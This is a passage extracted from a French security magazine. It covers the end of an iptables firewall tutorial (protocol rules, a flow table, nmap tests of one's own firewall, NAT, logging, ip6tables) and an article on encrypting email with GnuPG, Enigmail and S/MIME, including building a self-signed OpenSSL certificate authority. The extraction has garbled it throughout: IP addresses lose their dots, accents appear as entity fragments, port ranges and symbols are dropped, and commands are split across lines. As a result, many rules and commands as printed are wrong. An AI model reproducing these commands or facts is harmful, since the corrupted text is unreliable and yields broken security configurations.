19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

